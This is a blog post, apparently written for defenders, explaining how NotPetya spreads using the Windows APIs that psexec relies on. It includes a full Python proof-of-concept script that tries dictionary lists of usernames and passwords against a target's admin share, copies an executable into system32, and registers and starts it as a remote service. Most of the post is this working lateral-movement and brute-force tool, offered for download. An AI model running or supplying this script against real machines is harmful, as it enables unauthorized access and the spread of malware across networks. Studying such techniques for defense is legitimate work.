These days we have heard a lot about the new Petya (or NotPetya, EternalPetya, etc…) ransomware (or wiper). It propagates itself using the same exploit as WannaCry, eternalBlue. But the malware is using additional method to propagate itsefl. It enumerates local credentials and tries to login into remote machines with psexec for executing itself there. In this article I talk a bit about the Windows api that psexec is using for copying and executing files in a remote machine, and i share a PoC in python.
All the information shared here is not new, it is all well documented Windows apis.
If we take a quick look to psexec and we debug it a bit, we can see where are the main apis used for this purpose.
For connection to a share we need WNetAddConnection2W:
For create a remote service. Open SC Manager:
https://github.com/vallejocc/PoC/blob/master/remoteexec/remoteexec.py
# # Author: Javier Vicente Vallejo, @vallejocc, http://www.vallejo.cc # # With this script it is possible to connect a remote machine, copy an executable and execute remotely the copied executable. # # Parameters: # # python remoteexec.py <ip target machine> <username | path to dictionary> <password | path to dictionary> <path to exe> # # If username is a path to a file, file lines are used as usernames (the script will try all the usernames. If it is not a file, the parameter is used as username. # With password is the same behaviour, if password is a path to a file, file lines are used as passwords (the script will try all the passwords for all usernames). If it is not a file, the parameter is used as password. # import sys import os from win32wnet import WNetAddConnection2, WNetCancelConnection2, NETRESOURCE from win32service import CreateService, OpenSCManager, CloseServiceHandle, StartService, OpenService import shutil import time import win32api ############################################################ def get_used_drive_letters(): drives = win32api.GetLogicalDriveStrings() drives = drives.split('\000')[:-1] letters = [d[0] for d in drives] return letters def get_unused_drive_letters(): alphabet = map(chr, range(ord('A'), ord('Z')+1)) used = get_used_drive_letters() unused = list(set(alphabet)-set(used)) return unused def get_highest_unused_drive_letter(): unused = get_unused_drive_letters() highest = list(reversed(sorted(unused)))[0] return highest ############################################################ def dowork(paramtarget, paramusername, parampassword, paramsrcexe): localdrv = get_highest_unused_drive_letter() if not localdrv: return localdrv = localdrv + ":" print "Using localdrv %s" % localdrv resource = NETRESOURCE() resource.lpRemoteName = r'\\%s\c$' % paramtarget resource.lpLocalName = localdrv username = paramusername password = parampassword print resource.lpRemoteName print resource.lpLocalName res = WNetAddConnection2(resource, Password=password, UserName=username) try:shutil.copy(paramsrcexe, "%s\\windows\\system32\\mysvc.exe" % localdrv) except:pass try:scman = OpenSCManager(paramtarget, None, 0xF003F) except:return SERVICE_WIN32_OWN_PROCESS = 0x10 SERVICE_DEMAND_START = 0x3 SERVICE_ERROR_IGNORE = 0x0 try:hsrv = CreateService(scman, "MYSVC", "MYSVC", 0xF01FF, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, "c:\\windows\\system32\\mysvc.exe", None, 0, None, None, None) except:hsrv = OpenService(scman, "MYSVC", 0xF01FF) try:StartService(hsrv, [""]) except:pass try:CloseServiceHandle(hsrv) except:pass WNetCancelConnection2(localdrv, 0, 0) ############################################################ lusers = [] lpasswords = [] if os.path.isfile(sys.argv[2]): f = open(sys.argv[2], "r") lusers = map(str.strip, f.readlines()) f.close() else: lusers.append(sys.argv[2]) if os.path.isfile(sys.argv[3]): f = open(sys.argv[3], "r") lpasswords = map(str.strip, f.readlines()) f.close() else: lpasswords.append(sys.argv[3]) for u in lusers: for p in lpasswords: try: print "Trying %s %s" % (u, p) dowork(sys.argv[1], u, p, sys.argv[4]) except: pass
No comments:
Post a Comment